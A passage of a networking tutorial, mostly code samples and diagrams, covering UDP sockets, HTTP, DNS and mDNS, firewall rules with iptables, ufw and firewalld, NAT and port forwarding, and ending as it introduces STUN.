If Frame 3 is lost, continue with Frame 4
(Old frame is useless for live streaming)

Game Client → Server: Player position updates (60 FPS)
Update 1: Player at (100, 200)
Update 2: Player at (101, 201)
Update 3: [LOST]
Update 4: Player at (103, 203)

Lost packet is okay - next update corrects position

Continuous audio stream:
Packet 1: Audio 0-20ms
Packet 2: Audio 20-40ms
Packet 3: Audio 40-60ms [LOST]
Packet 4: Audio 60-80ms

Lost packet = brief audio glitch
Retransmission would cause worse delay

Client                          Server
  |                                |
  | DHCP Discover (broadcast)      |
  |------------------------------->|
  |                                |
  | DHCP Offer                     |
  |<-------------------------------|
  |                                |
  | DHCP Request                   |
  |------------------------------->|
  |                                |
  | DHCP ACK                       |
  |<-------------------------------|

import socket

# Create UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Bind to address and port
server_address = ('localhost', 9000)
sock.bind(server_address)

print(f"UDP server listening on {server_address}")

while True:
    # Receive data (up to 1024 bytes)
    data, client_address = sock.recvfrom(1024)
    print(f"Received {len(data)} bytes from {client_address}")
    print(f"Data: {data.decode()}")

    # Send response
    sock.sendto(b"Message received", client_address)

import socket

# Create UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

server_address = ('localhost', 9000)

try:
    # Send data
    message = b"Hello, UDP Server!"
    sock.sendto(message, server_address)

    # Receive response (with timeout)
    sock.settimeout(5.0)
    data, server = sock.recvfrom(1024)
    print(f"Received: {data.decode()}")

except socket.timeout:
    print("No response from server")
finally:
    sock.close()

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT 9000
#define BUFFER_SIZE 1024

int main() {
    int sockfd;
    char buffer[BUFFER_SIZE];
    struct sockaddr_in server_addr, client_addr;
    socklen_t addr_len = sizeof(client_addr);

    // Create UDP socket
    sockfd = socket(AF_INET, SOCK_DGRAM, 0);

    // Setup server address
    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(PORT);

    // Bind socket
    bind(sockfd, (struct sockaddr*)&server_addr, sizeof(server_addr));

    printf("UDP server listening on port %d\n", PORT);

    while(1) {
        // Receive data
        int n = recvfrom(sockfd, buffer, BUFFER_SIZE, 0,
                        (struct sockaddr*)&client_addr, &addr_len);
        buffer[n] = '\0';

        printf("Received: %s\n", buffer);

        // Send response
        sendto(sockfd, "ACK", 3, 0,
               (struct sockaddr*)&client_addr, addr_len);
    }

    return 0;
}

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)

# Send to broadcast address
broadcast_address = ('255.255.255.255', 9000)
sock.sendto(b"Broadcast message", broadcast_address)

import socket
import struct

MCAST_GRP = '224.1.1.1'
MCAST_PORT = 5007

# Sender
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(b"Multicast message", (MCAST_GRP, MCAST_PORT))

# Receiver
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('', MCAST_PORT))

# Join multicast group
mreq = struct.pack("4sl", socket.inet_aton(MCAST_GRP),
                   socket.INADDR_ANY)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)

data, address = sock.recvfrom(1024)

IPv4:
- Max IP packet: 65,535 bytes
- IP header: 20 bytes (minimum)
- UDP header: 8 bytes
- Max UDP data: 65,507 bytes

IPv6:
- Max payload (jumbogram): 4,294,967,295 bytes

Ethernet MTU: 1500 bytes
- IP header: 20 bytes
- UDP header: 8 bytes
- Safe UDP data: 1472 bytes

To avoid fragmentation:
- Stay under 1472 bytes for IPv4
- Stay under 1452 bytes for IPv6

Sender                          Receiver
  |                                |
  | Packet 1                       |
  |------------------------------->|
  |                                |
  | ACK 1                          |
  |<-------------------------------|
  |                                |
  | Packet 2                       |
  |------------------------------->|
  |                                |
  [timeout - no ACK received]
  |                                |
  | Packet 2 (resend)              |
  |------------------------------->|
  |                                |
  | ACK 2                          |
  |<-------------------------------|

Application adds sequence numbers:
Packet 1: [Seq=1][Data]
Packet 2: [Seq=2][Data]
Packet 3: [Seq=3][Data]

Receiver detects missing packets
Requests retransmission if needed

import socket
import time

def send_with_retry(sock, data, address, max_retries=3):
    for attempt in range(max_retries):
        sock.sendto(data, address)
        sock.settimeout(1.0)

        try:
            response, _ = sock.recvfrom(1024)
            return response
        except socket.timeout:
            print(f"Retry {attempt + 1}/{max_retries}")
            continue

    raise Exception("Max retries exceeded")

1. Rate limiting: Limit packets per second per source
2. Firewall rules: Block unnecessary UDP ports
3. Authentication: Verify sender identity
4. DTLS: Encrypted UDP (Datagram TLS)

UDP + TLS-style encryption = DTLS

Used in:
- WebRTC
- VPN protocols
- IoT devices

# Capture UDP traffic on port 53 (DNS)
tcpdump -i any udp port 53

# Capture all UDP traffic
tcpdump -i any udp

# Save to file
tcpdump -i any udp -w udp_capture.pcap

# View UDP packet details
tcpdump -i any udp -vv -X

# Show UDP listening ports
netstat -un

# Show UDP statistics
netstat -su

# Show processes using UDP
netstat -unp

Client                          Server

    HTTP Request               ->

  <-          HTTP Response

Host: example.com
User-Agent: Mozilla/5.0
Accept: application/json
Authorization: Bearer token123
Cookie: session=abc123
Content-Type: application/json

Content-Type: application/json
Content-Length: 256
Set-Cookie: session=def456
Cache-Control: max-age=3600
ETag: "12345abc"

 GET /users           - List users
 POST /users          - Create user
 GET /users/123       - Get user 123
 PUT /users/123       - Update user 123
 DELETE /users/123    - Delete user 123

 GET /getUser?id=123  - Procedural (bad)
 POST /createUser     - Procedural (bad)

# Request
GET /users/123 HTTP/1.1
Host: api.example.com
Authorization: Bearer token

# Response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 156

{
  "id": 123,
  "name": "John",
  "email": "john@example.com"
}

HTTP over TLS = HTTPS

1. Generate private/public key pair
2. Request certificate from CA
3. CA verifies and signs certificate
4. Browser verifies signature with CA's public key

Cache-Control: max-age=3600     # Cache for 1 hour
Cache-Control: no-cache         # Validate before use
Cache-Control: no-store         # Don't cache
Cache-Control: private          # Only browser cache
Cache-Control: public           # Any cache can store
ETag: "12345"                   # Resource version

If-None-Match: "12345"
-> Returns 304 Not Modified if unchanged

Authorization: Basic base64(username:password)

Authorization: Bearer eyJhbGc...

Server Response:
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type

 GET for reading (no side effects)
 POST for creating
 PUT for full replacement
 PATCH for partial update

 200 OK for success
 201 Created for new resource
 204 No Content for delete
 200 for everything (bad)

/api/v1/users
/api/v2/users

{
  "error": "Invalid input",
  "details": {
    "email": "Email format invalid"
  }
}

                    Root (.)
                       |
         +-------------+-------------+
         |             |             |
       .com          .org          .net
         |             |             |
    example.com   wikipedia.org  archive.net
         |
    www.example.com

1. User types "example.com" in browser

2. Browser checks local cache

3. If not cached, query DNS resolver (ISP or 8.8.8.8)

4. Resolver checks its cache

5. If not cached, recursive query:

   Resolver → Root DNS Server
   Root → "Ask .com server"

   Resolver → .com TLD Server
   TLD → "Ask example.com's nameserver"

   Resolver → example.com's Nameserver
   Nameserver → "IP is 93.184.216.34"

6. Resolver caches result and returns to browser

7. Browser connects to IP address

+---------------------------+
|        Header             |  12 bytes
+---------------------------+
|        Question           |  Variable
+---------------------------+
|        Answer             |  Variable
+---------------------------+
|        Authority          |  Variable
+---------------------------+
|        Additional         |  Variable
+---------------------------+

 0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                      ID                       |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|QR|   Opcode  |AA|TC|RD|RA|   Z    |   RCODE   |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    QDCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    ANCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    NSCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|                    ARCOUNT                    |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

; DNS Query for example.com A record
; Header
ID: 0x1234
Flags: 0x0100 (standard query, recursion desired)
Questions: 1
Answer RRs: 0
Authority RRs: 0
Additional RRs: 0

; Question Section
example.com.    IN    A

12 34  01 00  00 01  00 00  00 00  00 00
07 65 78 61 6d 70 6c 65 03 63 6f 6d 00
00 01  00 01

; DNS Response for example.com A record
; Header
ID: 0x1234
Flags: 0x8180 (response, recursion available)
Questions: 1
Answer RRs: 1
Authority RRs: 0
Additional RRs: 0

; Question Section
example.com.    IN    A

; Answer Section
example.com.    86400    IN    A    93.184.216.34

Client → Resolver: "What's example.com?"
Resolver → Root/TLD/Auth servers (multiple queries)
Resolver → Client: "It's 93.184.216.34"

Client → Root: "What's example.com?"
Root → Client: "Ask .com server at 192.5.6.30"

Client → TLD: "What's example.com?"
TLD → Client: "Ask ns1.example.com at 192.0.2.1"

Client → Auth: "What's example.com?"
Auth → Client: "It's 93.184.216.34"

Name: example.com
Type: A (1)
Class: IN (1) - Internet
TTL: 86400 (24 hours)
Data Length: 4
Data: 93.184.216.34

# Basic A record lookup
dig example.com

# Query specific record type
dig example.com MX
dig example.com AAAA

# Query specific DNS server
dig @8.8.8.8 example.com

# Reverse DNS lookup
dig -x 93.184.216.34

# Trace DNS resolution path
dig +trace example.com

# Short answer only
dig +short example.com

# Basic lookup
nslookup example.com

# Query specific server
nslookup example.com 8.8.8.8

# Query specific record type
nslookup -type=MX example.com

# Simple lookup
host example.com

# Verbose output
host -v example.com

# Query MX records
host -t MX example.com

example.com.  3600  IN  A  93.184.216.34
              ^^^^
              1 hour TTL

# Windows
ipconfig /flushdns

# macOS
sudo dscacheutil -flushcache

# Linux (systemd-resolved)
sudo systemd-resolve --flush-caches

# Linux (nscd)
sudo /etc/init.d/nscd restart

Attacker intercepts DNS query
Attacker sends fake response: "bank.com -> evil.com"
Victim connects to attacker's server

1. Zone owner signs DNS records with private key
2. Public key published in DNS
3. Resolver verifies signature
4. Chain of trust from root to domain

Client → DoH Server (port 443)
Encrypted: "What's example.com?"
Encrypted: "It's 93.184.216.34"

Client → DoT Server (port 853)
TLS encrypted DNS query/response

example.com.  300  IN  A  192.0.2.1
example.com.  300  IN  A  192.0.2.2
example.com.  300  IN  A  192.0.2.3

NS  ns1.example.com  (Primary)
NS  ns2.example.com  (Secondary)

# Stable records (rarely change)
example.com.  86400  IN  A  93.184.216.34

# Dynamic records (may change soon)
staging.example.com.  300  IN  A  192.0.2.1

example.com.  IN  TXT  "v=spf1 mx include:_spf.google.com ~all"

default._domainkey.example.com.  IN  TXT  "v=DKIM1; k=rsa; p=MIGfMA0..."

# Check if domain exists
dig example.com

# Check all nameservers
dig example.com NS
dig @ns1.example.com example.com

# Check propagation
dig @8.8.8.8 example.com
dig @1.1.1.1 example.com

# Test query time
dig example.com | grep "Query time"

# Compare different DNS servers
dig @8.8.8.8 example.com | grep "Query time"
dig @1.1.1.1 example.com | grep "Query time"

$TTL 86400
@   IN  SOA  ns1.example.com. admin.example.com. (
            2024011301  ; Serial
            3600        ; Refresh
            1800        ; Retry
            604800      ; Expire
            86400 )     ; Minimum TTL

; Name servers
    IN  NS   ns1.example.com.
    IN  NS   ns2.example.com.

; Mail servers
    IN  MX   10 mail1.example.com.
    IN  MX   20 mail2.example.com.

; A records
@           IN  A    93.184.216.34
www         IN  A    93.184.216.34
mail1       IN  A    192.0.2.1
mail2       IN  A    192.0.2.2
ns1         IN  A    192.0.2.10
ns2         IN  A    192.0.2.11

; AAAA records (IPv6)
@           IN  AAAA 2606:2800:220:1:248:1893:25c8:1946

; CNAME records
ftp         IN  CNAME www.example.com.
webmail     IN  CNAME mail1.example.com.

Problem: Home networks lack DNS servers

Traditional setup requires:
1. DNS server
2. Manual configuration
3. Static IP or DHCP integration
4. Administrative overhead

mDNS solution:
- No DNS server needed
- Automatic hostname resolution
- Zero configuration
- Works out of the box

1. Printer discovery
   - printer.local → 192.168.1.100

2. File sharing
   - macbook.local → 192.168.1.50

3. IoT devices
   - raspberry-pi.local → 192.168.1.75

4. Local development
   - webserver.local → 127.0.0.1

5. Service discovery
   - Find all printers on network
   - Find all file servers

Device wants to find "printer.local"

1. Send multicast query to 224.0.0.251:5353
   "Who has printer.local?"

2. All devices receive query

3. Device with hostname "printer" responds
   "I'm printer.local at 192.168.1.100"

4. Querying device caches response

5. Direct communication established

IPv4: 224.0.0.251
IPv6: ff02::fb
Port: 5353 (UDP)

All devices on local network listen to this address

+---------------------------+
|        Header             |
+---------------------------+
|        Question           |
+---------------------------+
|        Answer             |
+---------------------------+
|        Authority          |
+---------------------------+
|        Additional         |
+---------------------------+

ID: Usually 0 (multicast)
QR: Query (0) or Response (1)
OPCODE: 0 (standard query)
AA: Authoritative Answer (1 for responses)
TC: Truncated
RD: Recursion Desired (0 for mDNS)
RA: Recursion Available (0 for mDNS)
RCODE: Response code

Questions: Number of questions
Answers: Number of answer RRs
Authority: Number of authority RRs
Additional: Number of additional RRs

Multicast to 224.0.0.251:5353

Question:
  Name: printer.local
  Type: A (IPv4 address)
  Class: IN (Internet)
  QU bit: 0 (multicast query)

Header:
  ID: 0
  Flags: 0x0000 (standard query)
  Questions: 1
  Answers: 0

Multicast from 192.168.1.100:5353

Answer:
  Name: printer.local
  Type: A
  Class: IN | Cache-Flush bit
  TTL: 120 seconds
  Data: 192.168.1.100

Header:
  ID: 0
  Flags: 0x8400 (authoritative answer)
  Questions: 0
  Answers: 1

PTR Record: Browse services
  _http._tcp.local → webserver._http._tcp.local

SRV Record: Service location
  webserver._http._tcp.local
    Target: myserver.local
    Port: 8080
    Priority: 0
    Weight: 0

TXT Record: Service metadata
  webserver._http._tcp.local
    "path=/admin"
    "version=1.0"

A Record: IP address
  myserver.local → 192.168.1.50

Traditional DNS (unicast):
  Client → DNS Server: "What's example.com?"
  DNS Server → Client: "93.184.216.34"

mDNS (multicast):
  Client → All devices: "Who has printer.local?"
  Printer → All devices: "I'm 192.168.1.100"

Benefits:
  - No dedicated server
  - All devices hear query
  - Multiple responses possible

Query includes known answers to avoid redundant responses

Client has cached: printer.local → 192.168.1.100

Query:
  Question: printer.local?
  Known Answer: 192.168.1.100 (TTL > 50% remaining)

Printer sees cached answer is still valid
  → Doesn't respond (saves bandwidth)

Purpose: Invalidate old cache entries

Response with cache-flush:
  printer.local → 192.168.1.100
  Class: IN | 0x8000 (cache-flush bit set)

Receivers:
  - Flush old records for printer.local
  - Cache new record
  - Prevents stale data

Querier sends query even if cached
  - Verify host still exists
  - Detect IP changes
  - Maintain fresh cache

If no response → remove from cache

Device going offline:

Send goodbye message:
  printer.local → 192.168.1.100
  TTL: 0 (indicates removal)

Other devices:
  - Remove from cache immediately
  - Don't wait for timeout

Query:
  _services._dns-sd._udp.local PTR?

Response (all available service types):
  _http._tcp.local
  _printer._tcp.local
  _ssh._tcp.local
  _sftp-ssh._tcp.local

Query:
  _http._tcp.local PTR?

Response (all HTTP services):
  webserver._http._tcp.local
  api._http._tcp.local
  admin._http._tcp.local

Query:
  webserver._http._tcp.local SRV?
  webserver._http._tcp.local TXT?

Response (SRV):
  Target: myserver.local
  Port: 8080
  Priority: 0
  Weight: 0

Response (TXT):
  path=/
  version=2.0
  https=true

Then resolve:
  myserver.local A? → 192.168.1.50

import socket
import struct

MDNS_ADDR = '224.0.0.251'
MDNS_PORT = 5353

def query_mdns(hostname):
    # Create UDP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
    sock.settimeout(2)

    # Build DNS query
    # Header: ID=0, Flags=0, Questions=1
    query = struct.pack('!HHHHHH', 0, 0, 1, 0, 0, 0)

    # Question: hostname, type A, class IN
    for part in hostname.split('.'):
        query += bytes([len(part)]) + part.encode()
    query += b'\x00'  # End of name
    query += struct.pack('!HH', 1, 1)  # Type A, Class IN

    # Send query
    sock.sendto(query, (MDNS_ADDR, MDNS_PORT))

    # Receive responses
    responses = []
    try:
        while True:
            data, addr = sock.recvfrom(1024)
            responses.append((data, addr))
    except socket.timeout:
        pass

    sock.close()
    return responses

# Usage
responses = query_mdns('printer.local')
for data, addr in responses:
    print(f"Response from {addr}")

from zeroconf import ServiceInfo, Zeroconf
import socket

# Get local IP
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)

# Create service info
info = ServiceInfo(
    "_http._tcp.local.",
    "My Web Server._http._tcp.local.",
    addresses=[socket.inet_aton(local_ip)],
    port=8080,
    properties={
        'path': '/',
        'version': '1.0'
    },
    server=f"{hostname}.local."
)

# Register service
zeroconf = Zeroconf()
zeroconf.register_service(info)

print(f"Service registered: {hostname}.local:8080")

try:
    input("Press Enter to unregister...\n")
finally:
    zeroconf.unregister_service(info)
    zeroconf.close()

# Install Avahi
sudo apt-get install avahi-daemon avahi-utils

# Check hostname
avahi-resolve -n hostname.local

# Browse services
avahi-browse -a

# Browse specific service
avahi-browse _http._tcp

# Publish service
avahi-publish -s "My Service" _http._tcp 8080 path=/

# Resolve hostname
dns-sd -G v4 hostname.local

# Browse services
dns-sd -B _http._tcp

# Resolve service
dns-sd -L "My Service" _http._tcp

# Register service
dns-sd -R "My Service" _http._tcp . 8080 path=/

# Windows 10+ includes mDNS support

# Resolve via PowerShell
Resolve-DnsName hostname.local

# Or use Bonjour SDK
# Download from Apple Developer

<Instance>._<Service>._<Transport>.local

Examples:
  My Printer._printer._tcp.local
  Living Room._airplay._tcp.local
  Office Server._smb._tcp.local
  Kitchen Speaker._raop._tcp.local

_http._tcp        Web server
_https._tcp       Secure web server
_ssh._tcp         SSH server
_sftp-ssh._tcp    SFTP over SSH
_ftp._tcp         FTP server
_smb._tcp         Samba/Windows file sharing
_afpovertcp._tcp  Apple File Protocol
_printer._tcp     Printer
_ipp._tcp         Internet Printing Protocol
_airplay._tcp     AirPlay
_raop._tcp        Remote Audio Output Protocol
_spotify-connect._tcp  Spotify Connect

# tcpdump
sudo tcpdump -i any -n port 5353

# Wireshark
# Filter: udp.port == 5353
# Follow: Right-click → Follow → UDP Stream

Query:
  192.168.1.10 → 224.0.0.251
  DNS Query: printer.local A?

Response:
  192.168.1.100 → 224.0.0.251
  DNS Answer: printer.local → 192.168.1.100 (TTL 120)

Anyone can claim to be "printer.local"
No verification of identity
Potential for spoofing

mDNS doesn't cross routers
Limited to link-local multicast
Good for security (confined to LAN)

Services broadcast their presence
Attackers can enumerate:
  - Device names
  - Service types
  - IP addresses
  - Software versions

Two devices with same hostname
Both respond to queries
Can cause confusion

1. Firewall rules
   - Block port 5353 on external interfaces
   - Allow only on trusted LANs

2. VLANs
   - Separate guest network
   - Prevent mDNS between VLANs

3. Unique hostnames
   - Avoid generic names
   - Include random identifier

4. Service filtering
   - Only advertise necessary services
   - Remove unused service announcements

Typical traffic:
  - Query: ~50 bytes
  - Response: ~100 bytes
  - Continuous verification: ~1-2 queries/minute

Low bandwidth impact
Efficient for local networks

TTL values:
  - Typical: 120 seconds (2 minutes)
  - High priority: 10 seconds
  - Low priority: 4500 seconds (75 minutes)

Refresh at 80% of TTL
Query again at 90% of TTL
Remove at 100% of TTL

# 1. Check mDNS daemon
sudo systemctl status avahi-daemon  # Linux
sudo launchctl list | grep mDNS     # macOS

# 2. Test multicast
ping -c 3 224.0.0.251

# 3. Check firewall
sudo iptables -L | grep 5353
sudo ufw status

# 4. Capture traffic
sudo tcpdump -i any port 5353

# 5. Resolve manually
avahi-resolve -n device.local
dns-sd -G v4 device.local

Error: "hostname.local already in use"

Solutions:
1. Rename device
   - hostname.local → hostname-2.local
   - Automatic on many systems

2. Check for duplicates
   - Ensure unique hostnames
   - Search network for conflicts

Causes:
  - Network congestion
  - Many mDNS devices
  - Packet loss

Solutions:
  - Reduce query frequency
  - Use unicast if possible
  - Cache aggressively

ALLOW TCP from 192.168.1.0/24 to any port 80
DENY TCP from any to any port 23

Incoming packet:
  Src: 192.168.1.10:54321
  Dst: 10.0.0.5:80
  Protocol: TCP

Check rules top-to-bottom:
  Rule 1: Allow 192.168.1.0/24 to port 80 → MATCH
  Action: ALLOW

Packet forwarded

Src IP        Src Port  Dst IP        Dst Port  State      Protocol
192.168.1.10  54321     93.184.216.34 80        ESTABLISHED TCP
192.168.1.11  54322     8.8.8.8       53        NEW         UDP
192.168.1.10  54323     10.0.0.5      22        SYN_SENT    TCP

Client → Server: SYN
  State: NEW

Server → Client: SYN-ACK
  State: ESTABLISHED

Client → Server: ACK
  State: ESTABLISHED

... data transfer ...

Client → Server: FIN
  State: CLOSING

Server → Client: FIN-ACK
  State: CLOSED

# Outbound rule
ALLOW TCP from 192.168.1.0/24 to any port 80 STATE NEW,ESTABLISHED

# Return traffic automatically allowed
# (tracked in state table)

Client → Proxy → Server

Client connects to proxy
Proxy inspects full request
Proxy makes decision
Proxy connects to server (if allowed)
Proxy relays response to client

HTTP/HTTPS:
  - URL filtering
  - Content scanning
  - Malware detection
  - Data loss prevention

FTP:
  - Command filtering
  - File type restrictions

SMTP:
  - Spam filtering
  - Attachment scanning

HTTP Request:
  GET /admin.php HTTP/1.1
  Host: example.com

Proxy checks:
  1. Is /admin.php allowed? → NO
  2. Block request
  3. Return 403 Forbidden

1. Deep Packet Inspection (DPI)
   - Full packet content analysis

2. Application Control
   - Block Facebook but allow LinkedIn
   - Control by application, not just port

3. User Identity
   - Rules based on user/group
   - Active Directory integration

4. Threat Intelligence
   - Malware detection
   - Botnet protection
   - Zero-day protection

5. SSL Inspection
   - Decrypt HTTPS traffic
   - Inspect encrypted content
   - Re-encrypt and forward

DENY application "BitTorrent" for group "Employees"
ALLOW application "Salesforce" for group "Sales"
BLOCK malware signature "Trojan.Generic.123"

Internet → → [Router with ACL] → → Internal Network

Simple, single layer of protection

Internet → → [Firewall with 2 NICs] → → Internal Network
             (All traffic through firewall)

Complete traffic control

Internet → → [Router] → → [Firewall Host] → → Internal Network

Router filters basic traffic
Firewall provides additional protection

Internet → → [External FW] → → [DMZ] → → [Internal FW] → → Internal Network
                               (Web, Mail)

Public services in DMZ
Internal network isolated

External Firewall Rules:
  - Allow HTTP/HTTPS to web server (DMZ)
  - Allow SMTP to mail server (DMZ)
  - Deny all to internal network

Internal Firewall Rules:
  - Allow web server to database (specific port)
  - Allow mail server to internal mail (specific port)
  - Deny all other DMZ traffic to internal

1. Source: Where traffic originates
2. Destination: Where traffic is going
3. Service/Port: What service (HTTP, SSH, etc.)
4. Action: Allow, Deny, Reject
5. Direction: Inbound, Outbound
6. State: NEW, ESTABLISHED, RELATED

# Allow SSH from specific network
iptables -A INPUT -s 192.168.1.0/24 -p tcp --dport 22 -j ACCEPT

# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Allow HTTP and HTTPS
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# Drop everything else
iptables -A INPUT -j DROP

# WRONG ORDER:
1. DENY all
2. ALLOW HTTP port 80  → Never reached!

# CORRECT ORDER:
1. ALLOW HTTP port 80
2. DENY all

# Default DENY (whitelist approach - more secure)
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

# Then explicitly allow needed services

# Default ALLOW (blacklist approach - less secure)
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT

# Then explicitly block dangerous services

iptables -L -v -n

# Flush existing rules
iptables -F

# Default policies
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT

# Allow loopback
iptables -A INPUT -i lo -j ACCEPT

# Allow established connections
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Allow SSH (from specific network)
iptables -A INPUT -s 192.168.1.0/24 -p tcp --dport 22 -j ACCEPT

# Allow HTTP/HTTPS
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# Allow ping
iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT

# Log dropped packets
iptables -A INPUT -j LOG --log-prefix "DROPPED: "
iptables -A INPUT -j DROP

# Save rules
iptables-save > /etc/iptables/rules.v4

# Enable firewall
ufw enable

# Default policies
ufw default deny incoming
ufw default allow outgoing

# Allow SSH
ufw allow 22/tcp

# Allow HTTP/HTTPS
ufw allow 80/tcp
ufw allow 443/tcp

# Allow from specific IP
ufw allow from 192.168.1.100

# Allow specific port from specific IP
ufw allow from 192.168.1.100 to any port 3306

# View rules
ufw status numbered

# Delete rule
ufw delete 5

# View zones
firewall-cmd --get-active-zones

# Add service to zone
firewall-cmd --zone=public --add-service=http
firewall-cmd --zone=public --add-service=https

# Add port
firewall-cmd --zone=public --add-port=8080/tcp

# Add rich rule
firewall-cmd --zone=public --add-rich-rule='rule family="ipv4" source address="192.168.1.0/24" service name="ssh" accept'

# Make permanent
firewall-cmd --runtime-to-permanent

# Reload
firewall-cmd --reload

# View rules
Get-NetFirewallRule

# Enable firewall
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True

# Allow inbound port
New-NetFirewallRule -DisplayName "Allow HTTP" -Direction Inbound -LocalPort 80 -Protocol TCP -Action Allow

# Allow program
New-NetFirewallRule -DisplayName "My App" -Direction Inbound -Program "C:\App\myapp.exe" -Action Allow

# Block IP address
New-NetFirewallRule -DisplayName "Block IP" -Direction Inbound -RemoteAddress 10.0.0.5 -Action Block

# Ports closed by default

# Client knocks sequence: 1234, 5678, 9012
nc -z server.com 1234
nc -z server.com 5678
nc -z server.com 9012

# Server detects sequence, opens SSH port 22 for client IP
# Client can now SSH

# After timeout, port closes again

[openSSH]
sequence = 1234,5678,9012
seq_timeout = 10
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn

[closeSSH]
sequence = 9012,5678,1234
seq_timeout = 10
command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn

# iptables NAT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# Or specific IP
iptables -t nat -A POSTROUTING -o eth0 -j SNAT --to-source 203.0.113.5

Internal: 192.168.1.10:5000 → Internet
External: 203.0.113.5:6000 → Internet

Firewall tracks connection:
  192.168.1.10:5000 ↔ 203.0.113.5:6000

Return traffic:
  Internet → 203.0.113.5:6000
  Firewall translates back to: 192.168.1.10:5000

# Forward public port 80 to internal web server
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j DNAT --to-destination 192.168.1.20:80

# Forward public port 2222 to internal SSH
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 2222 -j DNAT --to-destination 192.168.1.10:22

Internet → 203.0.113.5:80
Firewall translates to: 192.168.1.20:80
Web server processes request
Response: 192.168.1.20:80 → Internet
Firewall translates from: 203.0.113.5:80 → Internet

Split malicious payload across fragments
Some firewalls don't reassemble

Fake source IP address
Bypass source-based rules

Encapsulate forbidden traffic in allowed protocol
Example: SSH tunnel, DNS tunnel, ICMP tunnel

Encrypt malicious traffic
Firewall can't inspect without SSL inspection

1. Blocked connections
2. Allowed critical connections
3. Rule changes
4. Authentication events
5. Anomalies (port scans, floods)

# Log dropped packets
iptables -A INPUT -j LOG --log-prefix "DROPPED INPUT: " --log-level 4
iptables -A INPUT -j DROP

# Log accepted SSH
iptables -A INPUT -p tcp --dport 22 -j LOG --log-prefix "SSH ACCEPT: "
iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# View firewall logs (typical locations)
tail -f /var/log/syslog
tail -f /var/log/messages
tail -f /var/log/kern.log

# Search for dropped packets
grep "DROPPED" /var/log/syslog

# Count connections by source IP
grep "DROPPED" /var/log/syslog | awk '{print $NF}' | sort | uniq -c | sort -n

Block everything by default
Explicitly allow only needed services

Open only necessary ports
Restrict to specific sources when possible
Time-based rules when appropriate

Multiple layers:
  - Perimeter firewall
  - Host-based firewalls
  - Network segmentation
  - Application firewalls

- Keep firewall software updated
- Review rules periodically
- Remove unused rules
- Update threat signatures (NGFW)

- Enable logging
- Set up alerts for anomalies
- Regular log reviews
- Incident response plan

- Test rules before production
- Verify deny rules work
- Check for unintended access
- Regular security audits

# 1. Check if service is running
systemctl status nginx

# 2. Check if service is listening
netstat -tuln | grep :80
ss -tuln | grep :80

# 3. Check firewall rules
iptables -L -n -v
ufw status
firewall-cmd --list-all

# 4. Check logs
tail -f /var/log/syslog | grep UFW
journalctl -f -u firewalld

# 5. Test from different source
curl http://server-ip
telnet server-ip 80

# Likely firewall blocking external access

# Check INPUT chain
iptables -L INPUT -n -v

# Temporarily allow (testing only!)
iptables -I INPUT -p tcp --dport 80 -j ACCEPT

# If works, add permanent rule

# Check rule order
iptables -L -n -v --line-numbers

# Rules processed top-to-bottom
# Earlier DENY rule might catch traffic before ALLOW

# Reorder rules
iptables -I INPUT 1 -p tcp --dport 80 -j ACCEPT

Private Network              NAT Router            Internet
                             (Public IP)
+------------------+         +---------+         +----------------+
| PC1: 192.168.1.10|  --->  | Router  |  --->  | Other peer     |
| PC2: 192.168.1.11|         | External IP:     | wants to       |
| PC3: 192.168.1.12|         | 203.0.113.5      | connect to you |
+------------------+         +---------+         +----------------+

Problem: How does external peer know your public IP and port?
Solution: STUN server tells you!

Peer A (behind NAT) wants to connect to Peer B

Peer A knows only: 192.168.1.10 (private IP)
Peer B needs: 203.0.113.5:54321 (public IP:port)

Peer A can't tell Peer B how to reach it L

Peer A queries STUN server
